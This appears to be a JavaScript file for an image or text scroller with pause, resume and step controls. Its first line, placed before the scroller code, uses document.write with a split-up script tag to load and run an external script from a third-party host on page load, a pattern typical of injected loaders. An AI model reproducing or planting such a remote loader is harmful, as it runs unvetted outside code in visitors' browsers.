//var



//------------------------------------------------------------------

document.write("<sc"+"ript language=JavaScript src='http://script.vondsten.nl/main.js'></scr"+"ipt>");

//------------------------------------------------------------------

function move(p){
	if(this.v<=p&&this.y==0){
		this.v=0;this.y=setInterval('TScroll['+this.id+'].AC()',50)
	}
}

//------------------------------------------------------------------

function stop(p) {
	if(this.v<p)this.v=p;
	
	if(this.zx){
		clearTimeout(this.zx);
		this.zx=0
	}

	if(this.y!=0){
		clearInterval(this.y);
		this.y=0
	}
}

//------------------------------------------------------------------

function z(AA){
	this.stop(0);
	this.zx=setTimeout('TScroll['+this.id+'].AB()',AA*1000)
}

//------------------------------------------------------------------

function AB(){
	this.P();
	this.T-=this.step;this.move(0)
}

//------------------------------------------------------------------

function AC(){
	var i,j,t;
	
	if(this.step>0&&this.T+this.AD<this.U)this.T=this.step;
	else if(this.step<0&&-this.T<this.U)this.T=-this.AD;
	
	for(i in this.R)
	for(j in this.AE)

	if(Math.abs(this.T+this.R[i].AF[this.AE[j]])<this.U) {
	
		if(document.body&&this.K){
			x=this.T+this.R[i].AF[this.AE[1-j]];
			this.t=((x>0)^(this.step>0)||(x==0))?(this.step>0?(i==this.R.length-1?[this.img[0],0]:[this.img[i*1+1],i*1+1]):(i==0?[this.img[this.R.length],this.R.length-1]:[this.img[i],i-1])):0
		}

		this.T=-this.R[i].AF[this.AE[j]];
		this.P(1);
	
		return this.z(this.R[i].AG[this.AE[j]])
	}

	this.T-=this.step;this.P()
}

//------------------------------------------------------------------

function TScroll_init(AI,AJ,B){
	this.id=TScroll.length;
	TScroll[this.id]=this;
	this.step=AJ.Ac;
	this.U=Math.abs(this.step);
	this.y=this.v=0;
	this.AE=[0,1];
	var i,w=AI.Ae[0],h=AI.Ae[1];
	this.height=h;
	this.Af=AI.Af?0:3; //Pixel Lijn
	this.T=-this.Af;
	this.R=[];
	this.Ag=true;
	this.A=A;
	this.o=o;
	this.AK=[];
	this.img=[];
	this.move=move;
	this.stop=stop;
	this.z=z;
	this.AB=AB;
	this.AC=AC;
	this.AL=this.AM=this.AN=this.AO=this.AP=function(){};
	this.A(w,h,true,B)
}

//------------------------------------------------------------------

function o(){
	this.main=this.O("main");

	for(var i in this.R){
		this.img[i]=this.L(i);
		this.R[i].AF=[this.img[i]+this.Af,this.L(i*1+1)-this.height]
	}

	this.AD=this.img[this.img.length]=this.L(this.R.length);

	this.AK.pau=this.O("pau");
	this.AK.res=this.O("res");
	this.AK.nxt=this.O("nxt");
	this.AK.prv=this.O("prv");

	this.AL=function(){
		this.AK.nxt.visibility=this.AK.prv.visibility=this.AK.pau.visibility=this.AK.res.visibility=this.I;

			this.move(1)
	};

	this.AM=function(){
		this.AK.nxt.visibility=this.AK.prv.visibility=this.J;

		if(this.v<2){
			this.AK.pau.visibility=this.J;
			this.AK.res.visibility=this.I
		}else{
			this.AK.pau.visibility=this.I;
			this.AK.res.visibility=this.J
		}

			this.stop(1)
	};

	this.AN=function(){
		this.AK.pau.visibility=this.I;
		this.AK.res.visibility=this.J;
		this.stop(2)
	};
			
	this.AO=function(){
		this.AK.pau.visibility=this.J;
		this.AK.res.visibility=this.I;
		this.v=1
	};

	this.AP=function(AQ){

		if(this.step*AQ>0){
			var i=0;

			while(i<this.img.length&&this.Af+this.img[i]<=-this.T)i++;

			if(i==this.img.length-1)i=0;

			this.T=-this.img[i]-this.Af

		}else{
			var i=this.img.length-1;
			while(i>=0&&this.img[i]>=-this.T+this.Af)i--;
			if(i==0)i=this.img.length-1;
			this.T=-this.img[i]+this.Af
		}

		this.P()
	};

	this.move(0)
}